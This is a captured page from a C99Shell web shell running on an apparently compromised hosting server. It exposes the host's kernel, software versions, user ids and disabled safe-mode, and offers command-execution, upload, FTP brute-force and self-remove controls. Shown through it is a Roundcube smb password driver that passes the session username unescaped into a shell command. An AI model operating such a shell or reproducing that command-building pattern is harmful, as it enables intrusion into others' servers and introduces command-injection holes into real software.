!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/usr/share/roundcube/plugins/password/drivers/   drwxr-xr-x
Free 1.36 GB of 7.22 GB (18.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     smb.php (1.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * smb Driver
 *
 * Driver that adds functionality to change the systems user password via
 * the 'smbpasswd' command.
 *
 * For installation instructions please read the README file.
 *
 * @version 2.0
 * @author Andy Theuninck <gohanman@gmail.com)
 *
 * Based on chpasswd roundcubemail password driver by
 * @author Alex Cartwright <acartwright@mutinydesign.co.uk)
 * and smbpasswd horde passwd driver by
 * @author  Rene Lund Jensen <Rene@lundjensen.net>
 *
 * Configuration settings:
 * password_smb_host    => samba host (default: localhost)
 * password_smb_cmd => smbpasswd binary (default: /usr/bin/smbpasswd)
 */

class rcube_smb_password
{

    public function 
save($currpass$newpass)
    {
        
$host rcmail::get_instance()->config->get('password_smb_host','localhost');
        
$bin rcmail::get_instance()->config->get('password_smb_cmd','/usr/bin/smbpasswd');
        
$username $_SESSION['username'];

        
$tmpfile tempnam(sys_get_temp_dir(),'smb');
        
$cmd $bin ' -r ' $host ' -s -U "' $username '" > ' $tmpfile ' 2>&1';
        
$handle = @popen($cmd'w');
        
fputs($handle$currpass."\n");
        
fputs($handle$newpass."\n");
        
fputs($handle$newpass."\n");
        @
pclose($handle);
        
$res file($tmpfile);
        
unlink($tmpfile);

        if (
strstr($res[count($res) - 1], 'Password changed for user') !== false) {
            return 
PASSWORD_SUCCESS;
        }
        else {
            
raise_error(array(
                
'code' => 600,
                
'type' => 'php',
                
'file' => __FILE__'line' => __LINE__,
                
'message' => "Password plugin: Unable to execute $cmd"
                
), truefalse);
        }

        return 
PASSWORD_ERROR;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0283 ]--